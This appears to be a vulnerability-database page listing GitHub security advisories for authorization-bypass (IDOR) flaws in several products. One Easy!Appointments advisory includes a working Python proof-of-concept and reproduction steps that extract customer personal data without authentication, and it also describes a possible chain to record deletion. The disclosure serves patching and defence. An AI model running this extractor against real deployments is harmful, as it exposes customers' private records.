Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3588 vulnerabilities reference this CWE, most recent first.

GHSA-XGF4-G8FR-FCV9

Vulnerability from github – Published: 2026-01-08 18:30 – Updated: 2026-04-01 18:36
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in Wptexture Image Slider Slideshow allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Image Slider Slideshow: from n/a through 1.8.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-22489"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-08T17:15:51Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in Wptexture Image Slider Slideshow allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Image Slider Slideshow: from n/a through 1.8.",
  "id": "GHSA-xgf4-g8fr-fcv9",
  "modified": "2026-04-01T18:36:31Z",
  "published": "2026-01-08T18:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22489"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/image-slider-slideshow/vulnerability/wordpress-image-slider-slideshow-plugin-1-8-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XGR6-PQJV-3PF8

Vulnerability from github – Published: 2026-07-29 16:28 – Updated: 2026-07-29 16:28
VLAI
Summary
Easy!Appointments has unauthenticated customer PII disclosure on booking reschedule page
Details

Summary

The booking reschedule view at /index.php/booking/reschedule/{appointment_hash} (handled by Booking::index()) embeds the entire customer record as inline JavaScript (const vars = {... "customer_data": {...}, ...}) without authentication and without field whitelisting. Anyone in possession of the 12-character appointment_hash — which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links — can read every column of that customer's row in the ea_users table.

Verified against v1.5.2 with a Docker reproduction; a single anonymous GET to the reschedule URL returns 13 customer fields including email, phone, full address, custom fields, timezone, language, LDAP DN, and id_roles.

Details

Root cause

application/controllers/Booking.php at line 184 reads the hash from the request, fetches the appointment, then loads the customer with Customers_model::find() — which returns the full row, no projection. It then passes the full record into script_vars(), which inlines it into the response HTML as a JavaScript constant. The reschedule UI itself uses only first_name and last_name; everything else is exposed for no functional reason.

// application/controllers/Booking.php (v1.5.2)
$appointment_hash = html_vars('appointment_hash');         // line 184
if (!empty($appointment_hash)) {
    $manage_mode = true;
    $results = $this->appointments_model->get(['hash' => $appointment_hash]);
    // ...
    $appointment = $results[0];
    $provider = $this->providers_model->find($appointment['id_users_provider']);
    $customer = $this->customers_model->find($appointment['id_users_customer']);  // ← full row, no projection
    $customer_token = md5(uniqid(mt_rand(), true));
    $this->cache->save('customer-token-' . $customer_token, $customer['id'], 600);
}

script_vars([
    // ...
    'customer_data' => $customer,                          // ← all PII inlined in HTML
    'customer_token' => $customer_token,
]);

The URL pattern is in the CSRF exemption list (application/config/config.php, csrf_exclude_uris covers booking/.*) and no authentication middleware applies, by design — that's the intended customer-facing reschedule flow. The bug is the over-disclosure, not the lack of auth.

Source-to-Sink

  • Source: HTTP GET to /index.php/booking/reschedule/{appointment_hash} — unauthenticated; hash read via html_vars('appointment_hash') (Booking.php:184).
  • Intermediate: appointments_model->get(['hash' => $hash]) → row fetched; customers_model->find($appointment['id_users_customer']) returns the full customers row.
  • Sink: script_vars(['customer_data' => $customer, ...]) (Booking.php:254-270) emits inline const vars = {..., "customer_data": {...}, ...} JavaScript in the response HTML.

Fields disclosed

Confirmed in PoC output (canary values used as markers):

customer_data: {
  "id": 4,
  "first_name": "Victim",
  "last_name": "Tester",
  "email": "victim.disclosure@example.invalid",
  "phone_number": "+1-555-0100",
  "address": "100 Privacy Lane",
  "city": "Sensitiveville",
  "zip_code": "00001",
  "timezone": "UTC",
  "language": "english",
  "custom_field_1": "CFLD1-CANARY",
  "is_private": "0",
  "ldap_dn": null,
  "id_roles": 3
}

Fields that would also leak when populated: mobile_number, state, notes (free-form, operators often store sensitive context here), custom_field_2–custom_field_5, ldap_dn.

Proof of Concept

#!/usr/bin/env python3
# poc_001_easyapp_pii_disclosure.py — exploit mode (extract from attached PoC)
import argparse, json, re, sys, requests

PII_FIELDS = ["email","phone_number","mobile_number","address","city","state",
              "zip_code","notes","custom_field_1","custom_field_2","custom_field_3",
              "custom_field_4","custom_field_5","ldap_dn"]

def exploit(target, hash_):
    url = f"{target}/index.php/booking/reschedule/{hash_}"
    r = requests.get(url, timeout=15); r.raise_for_status()
    m = re.search(r"const\s+vars\s*=\s*(\{.*?\});", r.text, re.DOTALL)
    ea = json.loads(m.group(1))
    customer = ea.get("customer_data") or {}
    leaked = 0
    for f in PII_FIELDS:
        if customer.get(f) not in (None, "", 0):
            print(f"  {f:18s} = {customer[f]!r}"); leaked += 1
    print(f"[+] disclosed {leaked} PII fields without auth")
    return leaked

if __name__ == "__main__":
    p = argparse.ArgumentParser()
    p.add_argument("--target", default="http://localhost:8000")
    p.add_argument("--hash", required=True)
    a = p.parse_args()
    sys.exit(0 if exploit(a.target, a.hash) > 0 else 1)

Reproduction

  1. Bring up the lab from the project's official docker-compose.yml (pinned to v1.5.2). Complete the one-time install at /index.php/installation (or php index.php console install from the php-fpm container).
  2. Book one appointment through the public flow (the bundled --seed helper does this automatically and prints the resulting hash).
  3. Run the unauthenticated extractor: python3 poc_001_easyapp_pii_disclosure.py --target http://localhost:8000 --hash <HASH>
  4. Observed output (verified 5/5 consecutive runs): email = 'victim.disclosure@example.invalid' phone_number = '+1-555-0100' address = '100 Privacy Lane' city = 'Sensitiveville' zip_code = '00001' custom_field_1 = 'CFLD1-CANARY' [+] DISCLOSURE CONFIRMED -- 6 PII field(s) accessible without auth.

The PoC and its docker-compose reproduction environment are attached.

Impact

A single anonymous GET request returns the customer's full record. The appointment_hash is not a secret to the customer — it appears in every reschedule email, every confirmation page URL, and the operator-side calendar reschedule link. So it leaks through the usual side channels: email forwarding, shared inboxes, mail-server logs, browser history, HTTP Referer headers when the customer clicks an outbound link from the reschedule page.

For a typical Easy!Appointments deployment (medical clinics, salons, legal/tutoring consultancies, hairdressers) the disclosed fields include regulated personal information — GDPR Article 5(1)(f) / Article 32 confidentiality, HIPAA contact-data exposure, and equivalent regional regimes. The free-form notes and the five configurable custom fields are frequently used by operators to store sensitive supplementary data (health context, insurance number, allergies, DOB, government ID).

A secondary chain worth flagging: the same response emits customer_token, a 600-second cache key bound to the customer ID. If display_delete_personal_information is enabled, an attacker holding the hash can also trigger a customer-record deletion at /privacy/delete_personal_information using the disclosed token — escalating an information-disclosure issue into a destructive one. Treating that as a secondary concern, out of scope for this report.

Workarounds

Operators can mitigate temporarily by: 1. Disabling the reschedule link in confirmation emails (in Booking_settings/Email_settings templates), forcing customers to re-book instead. 2. Disabling the public booking page entirely (disable_booking setting) for deployments that can tolerate it.

Neither workaround removes the root cause; an attacker who already holds a hash can still extract.

Suggested fix

Whitelist customer fields before inlining. The reschedule UI only needs first/last name:

--- a/application/controllers/Booking.php
+++ b/application/controllers/Booking.php
@@ -239,7 +239,12 @@ class Booking extends EA_Controller
             $appointment = $results[0];
             $provider = $this->providers_model->find($appointment['id_users_provider']);
-            $customer = $this->customers_model->find($appointment['id_users_customer']);
+            $customer_record = $this->customers_model->find($appointment['id_users_customer']);
+            $customer = [
+                'id'         => $customer_record['id'],
+                'first_name' => $customer_record['first_name'],
+                'last_name'  => $customer_record['last_name'],
+            ];
             $customer_token = md5(uniqid(mt_rand(), true));

The same pattern likely needs auditing in Booking_confirmation::of() and Booking_cancellation::of() — anywhere the customer record is loaded and inlined into a publicly-reachable view.

Credits

  • Discovered through source-code audit by peoplstar

References

  • application/controllers/Booking.php lines 184-270 (v1.5.2)
  • application/models/Customers_model.php::find — returns the full row, no projection
  • application/config/config.php csrf_exclude_uris — whitelisting booking/.*
  • Related prior PR #1753 (permission checks on appointment search) — same project, adjacent code, vendor previously accepted this class of issue.

docker-compose.yml easyapp_pii_disclosure.py requirements.txt consistency_test.txt leaked_customer_data.txt

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "alextselegidis/easyappointments"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T16:28:23Z",
    "nvd_published_at": "2026-07-14T15:17:04Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe booking reschedule view at `/index.php/booking/reschedule/{appointment_hash}` (handled by `Booking::index()`) embeds the **entire customer record** as inline JavaScript (`const vars = {... \"customer_data\": {...}, ...}`) without authentication and without field whitelisting. Anyone in possession of the 12-character `appointment_hash` \u2014 which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links \u2014 can read every column of that customer\u0027s row in the `ea_users` table.\n\nVerified against v1.5.2 with a Docker reproduction; a single anonymous GET to the reschedule URL returns 13 customer fields including email, phone, full address, custom fields, timezone, language, LDAP DN, and `id_roles`.\n\n## Details\n\n### Root cause\n\n`application/controllers/Booking.php` at line 184 reads the hash from the request, fetches the appointment, then loads the customer with `Customers_model::find()` \u2014 which returns the full row, no projection. It then passes the full record into `script_vars()`, which inlines it into the response HTML as a JavaScript constant. The reschedule UI itself uses only `first_name` and `last_name`; everything else is exposed for no functional reason.\n\n```php\n// application/controllers/Booking.php (v1.5.2)\n$appointment_hash = html_vars(\u0027appointment_hash\u0027);         // line 184\nif (!empty($appointment_hash)) {\n    $manage_mode = true;\n    $results = $this-\u003eappointments_model-\u003eget([\u0027hash\u0027 =\u003e $appointment_hash]);\n    // ...\n    $appointment = $results[0];\n    $provider = $this-\u003eproviders_model-\u003efind($appointment[\u0027id_users_provider\u0027]);\n    $customer = $this-\u003ecustomers_model-\u003efind($appointment[\u0027id_users_customer\u0027]);  // \u2190 full row, no projection\n    $customer_token = md5(uniqid(mt_rand(), true));\n    $this-\u003ecache-\u003esave(\u0027customer-token-\u0027 . $customer_token, $customer[\u0027id\u0027], 600);\n}\n\nscript_vars([\n    // ...\n    \u0027customer_data\u0027 =\u003e $customer,                          // \u2190 all PII inlined in HTML\n    \u0027customer_token\u0027 =\u003e $customer_token,\n]);\n```\n\nThe URL pattern is in the CSRF exemption list (`application/config/config.php`, `csrf_exclude_uris` covers `booking/.*`) and no authentication middleware applies, by design \u2014 that\u0027s the intended customer-facing reschedule flow. The bug is the over-disclosure, not the lack of auth.\n\n### Source-to-Sink\n\n- **Source**: HTTP GET to `/index.php/booking/reschedule/{appointment_hash}` \u2014 unauthenticated; hash read via `html_vars(\u0027appointment_hash\u0027)` (Booking.php:184).\n- **Intermediate**: `appointments_model-\u003eget([\u0027hash\u0027 =\u003e $hash])` \u2192 row fetched; `customers_model-\u003efind($appointment[\u0027id_users_customer\u0027])` returns the full customers row.\n- **Sink**: `script_vars([\u0027customer_data\u0027 =\u003e $customer, ...])` (Booking.php:254-270) emits inline `const vars = {..., \"customer_data\": {...}, ...}` JavaScript in the response HTML.\n\n### Fields disclosed\n\nConfirmed in PoC output (canary values used as markers):\n\n```\ncustomer_data: {\n  \"id\": 4,\n  \"first_name\": \"Victim\",\n  \"last_name\": \"Tester\",\n  \"email\": \"victim.disclosure@example.invalid\",\n  \"phone_number\": \"+1-555-0100\",\n  \"address\": \"100 Privacy Lane\",\n  \"city\": \"Sensitiveville\",\n  \"zip_code\": \"00001\",\n  \"timezone\": \"UTC\",\n  \"language\": \"english\",\n  \"custom_field_1\": \"CFLD1-CANARY\",\n  \"is_private\": \"0\",\n  \"ldap_dn\": null,\n  \"id_roles\": 3\n}\n```\n\nFields that would also leak when populated: `mobile_number`, `state`, `notes` (free-form, operators often store sensitive context here), `custom_field_2`\u2013`custom_field_5`, `ldap_dn`.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\n# poc_001_easyapp_pii_disclosure.py \u2014 exploit mode (extract from attached PoC)\nimport argparse, json, re, sys, requests\n\nPII_FIELDS = [\"email\",\"phone_number\",\"mobile_number\",\"address\",\"city\",\"state\",\n              \"zip_code\",\"notes\",\"custom_field_1\",\"custom_field_2\",\"custom_field_3\",\n              \"custom_field_4\",\"custom_field_5\",\"ldap_dn\"]\n\ndef exploit(target, hash_):\n    url = f\"{target}/index.php/booking/reschedule/{hash_}\"\n    r = requests.get(url, timeout=15); r.raise_for_status()\n    m = re.search(r\"const\\s+vars\\s*=\\s*(\\{.*?\\});\", r.text, re.DOTALL)\n    ea = json.loads(m.group(1))\n    customer = ea.get(\"customer_data\") or {}\n    leaked = 0\n    for f in PII_FIELDS:\n        if customer.get(f) not in (None, \"\", 0):\n            print(f\"  {f:18s} = {customer[f]!r}\"); leaked += 1\n    print(f\"[+] disclosed {leaked} PII fields without auth\")\n    return leaked\n\nif __name__ == \"__main__\":\n    p = argparse.ArgumentParser()\n    p.add_argument(\"--target\", default=\"http://localhost:8000\")\n    p.add_argument(\"--hash\", required=True)\n    a = p.parse_args()\n    sys.exit(0 if exploit(a.target, a.hash) \u003e 0 else 1)\n```\n\n### Reproduction\n\n1. Bring up the lab from the project\u0027s official `docker-compose.yml` (pinned to v1.5.2). Complete the one-time install at `/index.php/installation` (or `php index.php console install` from the php-fpm container).\n2. Book one appointment through the public flow (the bundled `--seed` helper does this automatically and prints the resulting hash).\n3. Run the unauthenticated extractor:\n   ```\n   python3 poc_001_easyapp_pii_disclosure.py --target http://localhost:8000 --hash \u003cHASH\u003e\n   ```\n4. Observed output (verified 5/5 consecutive runs):\n   ```\n   email              = \u0027victim.disclosure@example.invalid\u0027\n   phone_number       = \u0027+1-555-0100\u0027\n   address            = \u0027100 Privacy Lane\u0027\n   city               = \u0027Sensitiveville\u0027\n   zip_code           = \u002700001\u0027\n   custom_field_1     = \u0027CFLD1-CANARY\u0027\n   [+] DISCLOSURE CONFIRMED -- 6 PII field(s) accessible without auth.\n   ```\n\nThe PoC and its docker-compose reproduction environment are attached.\n\n## Impact\n\nA single anonymous GET request returns the customer\u0027s full record. The `appointment_hash` is not a secret to the customer \u2014 it appears in every reschedule email, every confirmation page URL, and the operator-side calendar reschedule link. So it leaks through the usual side channels: email forwarding, shared inboxes, mail-server logs, browser history, HTTP `Referer` headers when the customer clicks an outbound link from the reschedule page.\n\nFor a typical Easy!Appointments deployment (medical clinics, salons, legal/tutoring consultancies, hairdressers) the disclosed fields include regulated personal information \u2014 GDPR Article 5(1)(f) / Article 32 confidentiality, HIPAA contact-data exposure, and equivalent regional regimes. The free-form `notes` and the five configurable custom fields are frequently used by operators to store sensitive supplementary data (health context, insurance number, allergies, DOB, government ID).\n\nA secondary chain worth flagging: the same response emits `customer_token`, a 600-second cache key bound to the customer ID. If `display_delete_personal_information` is enabled, an attacker holding the hash can also trigger a customer-record deletion at `/privacy/delete_personal_information` using the disclosed token \u2014 escalating an information-disclosure issue into a destructive one. Treating that as a secondary concern, out of scope for this report.\n\n## Workarounds\n\nOperators can mitigate temporarily by:\n1. Disabling the reschedule link in confirmation emails (in `Booking_settings`/`Email_settings` templates), forcing customers to re-book instead.\n2. Disabling the public booking page entirely (`disable_booking` setting) for deployments that can tolerate it.\n\nNeither workaround removes the root cause; an attacker who already holds a hash can still extract.\n\n## Suggested fix\n\nWhitelist customer fields before inlining. The reschedule UI only needs first/last name:\n\n```diff\n--- a/application/controllers/Booking.php\n+++ b/application/controllers/Booking.php\n@@ -239,7 +239,12 @@ class Booking extends EA_Controller\n             $appointment = $results[0];\n             $provider = $this-\u003eproviders_model-\u003efind($appointment[\u0027id_users_provider\u0027]);\n-            $customer = $this-\u003ecustomers_model-\u003efind($appointment[\u0027id_users_customer\u0027]);\n+            $customer_record = $this-\u003ecustomers_model-\u003efind($appointment[\u0027id_users_customer\u0027]);\n+            $customer = [\n+                \u0027id\u0027         =\u003e $customer_record[\u0027id\u0027],\n+                \u0027first_name\u0027 =\u003e $customer_record[\u0027first_name\u0027],\n+                \u0027last_name\u0027  =\u003e $customer_record[\u0027last_name\u0027],\n+            ];\n             $customer_token = md5(uniqid(mt_rand(), true));\n```\n\nThe same pattern likely needs auditing in `Booking_confirmation::of()` and `Booking_cancellation::of()` \u2014 anywhere the customer record is loaded and inlined into a publicly-reachable view.\n\n## Credits\n\n- Discovered through source-code audit by peoplstar\n\n## References\n\n- `application/controllers/Booking.php` lines 184-270 (v1.5.2)\n- `application/models/Customers_model.php::find` \u2014 returns the full row, no projection\n- `application/config/config.php` `csrf_exclude_uris` \u2014 whitelisting `booking/.*`\n- Related prior PR #1753 (permission checks on appointment search) \u2014 same project, adjacent code, vendor previously accepted this class of issue.\n\n\n\n[docker-compose.yml](https://github.com/user-attachments/files/27761710/docker-compose.yml)\n[easyapp_pii_disclosure.py](https://github.com/user-attachments/files/27761711/easyapp_pii_disclosure.py)\n[requirements.txt](https://github.com/user-attachments/files/27761712/requirements.txt)\n[consistency_test.txt](https://github.com/user-attachments/files/27761722/consistency_test.txt)\n[leaked_customer_data.txt](https://github.com/user-attachments/files/27761723/leaked_customer_data.txt)",
  "id": "GHSA-xgr6-pqjv-3pf8",
  "modified": "2026-07-29T16:28:23Z",
  "published": "2026-07-29T16:28:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-xgr6-pqjv-3pf8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52837"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/commit/40bb0b31b531540bc9006efce4220eb0a437ed2b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/alextselegidis/easyappointments"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Easy!Appointments has unauthenticated customer PII disclosure on booking reschedule page"
}

GHSA-XGWV-VX48-69HC

Vulnerability from github – Published: 2026-02-13 15:30 – Updated: 2026-06-06 09:31
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in Universal Software Inc. FlexCity/Kiosk allows Exploitation of Trusted Identifiers.This issue affects FlexCity/Kiosk: from 1.0 before 1.0.36.

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-1619"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-13T14:16:10Z",
    "severity": "HIGH"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in Universal Software Inc. FlexCity/Kiosk allows Exploitation of Trusted Identifiers.This issue affects FlexCity/Kiosk: from 1.0 before 1.0.36.",
  "id": "GHSA-xgwv-vx48-69hc",
  "modified": "2026-06-06T09:31:15Z",
  "published": "2026-02-13T15:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1619"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0065"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-26-0065"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XH7C-XRRG-3JV2

Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2026-01-27 21:31
VLAI
Details

An Insecure Direct Object Reference (IDOR) vulnerability was found in Prestashop Opart devis < 4.0.2. Unauthenticated attackers can have access to any user's invoice and delivery address by exploiting an IDOR on the delivery_address and invoice_address fields.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-16194"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-04T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An Insecure Direct Object Reference (IDOR) vulnerability was found in Prestashop Opart devis \u003c 4.0.2. Unauthenticated attackers can have access to any user\u0027s invoice and delivery address by exploiting an IDOR on the delivery_address and invoice_address fields.",
  "id": "GHSA-xh7c-xrrg-3jv2",
  "modified": "2026-01-27T21:31:33Z",
  "published": "2022-05-24T17:40:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16194"
    },
    {
      "type": "WEB",
      "url": "https://github.com/login-securite/CVE/blob/main/CVE-2020-16194.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XHP9-GJXC-5C88

Vulnerability from github – Published: 2024-11-09 06:30 – Updated: 2024-11-09 06:30
VLAI
Details

The Envo Extra plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.9.3 via the 'elementor-template' shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-10770"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-09T05:15:08Z",
    "severity": "MODERATE"
  },
  "details": "The Envo Extra plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.9.3 via the \u0027elementor-template\u0027 shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to.",
  "id": "GHSA-xhp9-gjxc-5c88",
  "modified": "2024-11-09T06:30:25Z",
  "published": "2024-11-09T06:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10770"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3182181%40envo-extra\u0026new=3182181%40envo-extra\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/08b0f5e0-f68a-4fea-9d62-468956012a6d?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XHPH-RH45-HG46

Vulnerability from github – Published: 2026-04-17 06:31 – Updated: 2026-04-17 06:31
VLAI
Details

The LatePoint plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.3.2. The vulnerability exists because the OsStripeConnectController::create_payment_intent_for_transaction action is registered as a public action (no authentication required) and loads invoices by sequential integer invoice_id without any access_key or ownership verification. This is in contrast to other invoice-related actions (view_by_key, payment_form, summary_before_payment) in OsInvoicesController which properly require a cryptographic UUID access_key. This makes it possible for unauthenticated attackers to enumerate valid invoice IDs via an error message oracle, create unauthorized transaction intent records in the database containing sensitive financial data (invoice_id, order_id, customer_id, charge_amount), and on sites with Stripe Connect configured, the response also leaks Stripe payment_intent_client_secret tokens, transaction_intent_key values, and payment amounts for any invoice.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-5234"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-17T05:16:18Z",
    "severity": "MODERATE"
  },
  "details": "The LatePoint plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.3.2. The vulnerability exists because the OsStripeConnectController::create_payment_intent_for_transaction action is registered as a public action (no authentication required) and loads invoices by sequential integer invoice_id without any access_key or ownership verification. This is in contrast to other invoice-related actions (view_by_key, payment_form, summary_before_payment) in OsInvoicesController which properly require a cryptographic UUID access_key. This makes it possible for unauthenticated attackers to enumerate valid invoice IDs via an error message oracle, create unauthorized transaction intent records in the database containing sensitive financial data (invoice_id, order_id, customer_id, charge_amount), and on sites with Stripe Connect configured, the response also leaks Stripe payment_intent_client_secret tokens, transaction_intent_key values, and payment amounts for any invoice.",
  "id": "GHSA-xhph-rh45-hg46",
  "modified": "2026-04-17T06:31:08Z",
  "published": "2026-04-17T06:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5234"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/latepoint/tags/5.2.9/lib/controllers/stripe_connect_controller.php#L20"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/latepoint/tags/5.2.9/lib/controllers/stripe_connect_controller.php#L31"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/latepoint/tags/5.2.9/lib/controllers/stripe_connect_controller.php#L33"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/latepoint/tags/5.2.9/lib/controllers/stripe_connect_controller.php#L50"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/latepoint/trunk/lib/controllers/stripe_connect_controller.php#L20"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/latepoint/trunk/lib/controllers/stripe_connect_controller.php#L31"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/latepoint/trunk/lib/controllers/stripe_connect_controller.php#L33"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/latepoint/trunk/lib/controllers/stripe_connect_controller.php#L50"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3505127/latepoint/trunk/lib/controllers/stripe_connect_controller.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/afec4c8c-a18d-4907-8879-2412f8a1abed?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XHQ5-45PM-2GJR

Vulnerability from github – Published: 2026-03-26 21:34 – Updated: 2026-04-18 00:56
VLAI
Summary
OpenClaw: Nextcloud Talk room allowlist matched colliding room names instead of stable room tokens
Details

Summary

Nextcloud Talk room authorization matched on collidable room names instead of the stable room token, allowing policy confusion across similarly named rooms.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected: < 2026.3.22
  • Fixed: >= 2026.3.22
  • Latest released tag checked: v2026.3.23-2 (630f1479c44f78484dfa21bb407cbe6f171dac87)
  • Latest published npm version checked: 2026.3.23-2

Fix Commit(s)

  • a47722de7e3c9cbda8d5512747ca7e3bb8f6ee66

Release Status

The fix shipped in v2026.3.22 and remains present in v2026.3.23 and v2026.3.23-2.

Code-Level Confirmation

  • extensions/nextcloud-talk/src/inbound.ts now resolves allowlist policy from roomToken-backed room identity.
  • extensions/nextcloud-talk/src/policy.ts now keys room authorization on stable room tokens instead of display names.

OpenClaw thanks @zpbrent for reporting.

Severity
4.2 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
2.3 (Low)
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35624"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-807",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T21:34:18Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
